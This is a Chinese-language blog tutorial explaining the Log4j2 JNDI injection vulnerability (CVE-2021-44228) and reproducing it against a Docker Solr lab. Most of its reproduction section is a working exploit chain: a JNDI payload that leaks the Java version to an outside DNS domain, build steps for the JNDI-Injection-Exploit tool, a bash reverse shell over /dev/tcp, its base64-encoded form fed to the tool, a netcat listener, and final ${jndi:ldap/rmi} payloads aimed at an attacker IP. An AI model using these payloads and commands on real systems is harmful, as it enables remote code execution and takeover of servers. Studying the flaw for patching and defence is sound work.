log4j 对应的是 CVE-2017-5645,即 Apache Log4j Server 反序列化命令执行漏洞;

log4j2  对应的是 CVE-2021-44228,即 log4j2 远程代码执行漏洞,通过 JNDI 注入实现;
 

一、基础知识铺垫

(1)什么是 log4j 和 log4j2


log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

(2)什么是JNDI

JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议 包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。
 

二、漏洞原理

log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。

log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。

当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

三、复现过程

准备:

拉取镜像:

docker compose up

查看映射端口号:

docker ps

访问IP+端口号

并且发现其注入点为

http://your_ip:8983/solr/admin/cores?action=

来yakit弄个可用域名:

通过构造payload来尝试获取java的版本:


/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.zbwzcjrerw.iyhc.eu.org}

再次刷新记录,可以得出 sys:java.version 命令被执行了

成功获取到 Java 版本号为 1.8.0_312,证明确实存在 log4j2 远程代码执行漏洞

漏洞利用:

接着我们就要对这个漏洞就行进一步的利用:

这里我是在自己的服务器上面演示的

1、JNDI 注入工具安装

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

切换到 JNDI-Injection-Exploit 目录

cd JNDI-Injection-Exploit

编译安装,将源码打包成jar包,在该目录下执行如下命令

mvn clean package -DskipTests

切换进入到 target 目录:

cd target

root@VM-0-10-ubuntu:~/JNDI-Injection-Exploit/target#

2、工具用法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

3、服务站点部署

反弹 shell 到目标主机端口,这里以 7777 端口为例

bash -i >& /dev/tcp/your_ip/7777 0>&1

对命令进行 base64  编码 (命令必须经过编码,不然无法实现)

编码可以使用如下网站:

https://ares-x.com/tools/runtime-exec

将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip

利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上

在 target 目录下,执行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.249.128"

这样我们就部署好了 RMI 和 LDAP 服务的站点,并且得到了 payload 路径

4、开启端口监听

再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)

nc -lvvp 7777

5、反弹shell

使用上述给出的 payload 路径构造完整 payload

比如:

${jndi:ldap://192.168.249.128:1389/h8sgrk}
${jndi:rmi://192.168.249.128:1099/c2kspf}

在监听页面就可以实现远程命令执行了

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐